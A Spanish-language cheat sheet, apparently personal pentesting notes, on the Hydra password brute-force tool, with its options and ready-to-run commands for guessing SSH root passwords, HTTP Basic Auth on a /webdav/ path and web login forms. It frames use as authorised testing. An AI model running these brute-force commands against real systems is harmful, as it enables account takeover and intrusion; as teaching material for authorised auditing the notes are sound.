~/docs /Hydra
Hydra
Hydra
Imported from Notion: Hydra
updated:: 2026.07.10
Hydra
importantHydra es una herramienta de password auditing y brute force para múltiples servicios de red. Se utiliza para pruebas autorizadas de seguridad, validación de credenciales y auditorías controladas. Soporta, entre otros, SSH y varios módulos HTTP como HTTP(S)-GET, HTTP(S)-FORM-GET y HTTP(S)-FORM-POST. (kali.org)
Instalación y verificación rápida
En Kali Linux, Hydra está disponible como paquete hydra y se puede instalar con:
sudo apt install hydra
Para revisar la sintaxis y los módulos disponibles:
hydra -h
validatedUsa
-Vpara ver cada intento,-fpara detenerte al encontrar credenciales válidas y-tpara ajustar el número de hilos. En la documentación de Kali,-taparece comoTASKSdentro de la sintaxis general de Hydra. (kali.org)
Parámetros útiles
| Opción | Descripción |
|---|---|
-l <usuario> | Usuario único |
-L <archivo> | Lista de usuarios |
-p <password> | Contraseña única |
-P <archivo> | Lista de contraseñas |
-t <n> | Número de hilos / tareas |
-V | Muestra intentos en tiempo real |
-f | Se detiene al encontrar una credencial válida |
-s <puerto> | Define un puerto no estándar |
ssh://host[:puerto] | Formato recomendado para el servicio SSH |
http-get | Módulo para autenticación HTTP básica o endpoint GET |
http-get-form | Módulo para formularios web con método GET |
http-post-form | Módulo para formularios web con método POST |
tipLa forma general de uso de Hydra es:
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]Esto coincide con la documentación de Kali para Hydra. (kali.org)
Ejemplos
SSH: brute force al usuario root
hydra -l root -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt ssh://IP:PUERTO -t 2 -v
warningEn muchas distribuciones la ruta correcta del wordlist es
seclistsconsminúscula:/usr/share/seclists/...o/usr/share/wordlists/..., según la instalación. Conviene verificar la ruta antes de ejecutar el comando.
Notas del comando:
-
-l root: prueba únicamente el usuarioroot -
-P ...: usa un diccionario de contraseñas -
ssh://IP:PUERTO: especifica el servicio SSH -
-t 2: limita el número de tareas simultáneas -
-v: muestra detalle del proceso
validatedSi el puerto SSH es el estándar, puedes omitirlo y usar simplemente
ssh://IP.
Web: brute force a un panel de login en /webdav/
Si el acceso está protegido por autenticación HTTP básica o por un endpoint compatible con http-get, puedes usar:
hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/common_passwords.txt 10.2.23.36 http-get /webdav/
Qué hace este comando:
-
-L ...: prueba una lista de usuarios -
-P ...: prueba una lista de contraseñas -
10.2.23.36: host objetivo -
http-get: módulo de Hydra para peticiones GET -
/webdav/: ruta objetivo
important
http-getsuele encajar mejor con HTTP Basic Auth o mecanismos simples de autenticación en GET.
Si el objetivo es un formulario web con camposusernameypassword, normalmente conviene usarhttp-get-formohttp-post-form. Hydra soporta estos módulos HTTP, además de SSH y muchos otros servicios. (kali.org)
Ejemplo recomendado para formularios web
hydra -L users.txt -P passwords.txt 10.2.23.36 http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid login"
Plantilla general:
-
^USER^se sustituye por el usuario actual -
^PASS^se sustituye por la contraseña actual -
F=...indica el texto de fallo que devuelve el sitio
validatedPara afinar ataques web, suele ser útil identificar antes:
- URL exacta del formulario
- Método
GEToPOST- Campo de error que devuelve la aplicación
- Cookies o tokens anti-CSRF
- Redirecciones tras login correcto
Flujo de trabajo recomendado
-
Identifica el servicio y el puerto.
-
Comprueba si el objetivo usa autenticación básica, formulario web o un mecanismo más complejo.
-
Elige el módulo correcto de Hydra.
-
Empieza con pocas tareas (
-t 2o-t 4) para evitar ruido innecesario. -
Ajusta el wordlist según el contexto.
-
Detén la prueba cuando consigas una credencial válida.
Ejemplos rápidos de referencia
| Caso | Módulo | Ejemplo |
|---|---|---|
| SSH | ssh | hydra -l root -P passwords.txt ssh://IP -t 2 -v |
| HTTP Basic Auth | http-get | hydra -L users.txt -P passwords.txt IP http-get /ruta/ |
| Formulario con GET | http-get-form | hydra -L users.txt -P passwords.txt IP http-get-form "/login:..." |
| Formulario con POST | http-post-form | hydra -L users.txt -P passwords.txt IP http-post-form "/login:..." |
Buenas prácticas
-
Usa Hydra solo en entornos donde tengas autorización explícita.
-
Evita listas masivas si una prueba más acotada es suficiente.
-
Registra siempre:
-
objetivo
-
fecha
-
módulo usado
-
diccionario empleado
-
resultado
-
criticalUn exceso de hilos puede provocar bloqueos de cuenta, rate limiting o alertas en sistemas de monitoreo. Ajusta
-tcon prudencia.
- EOF -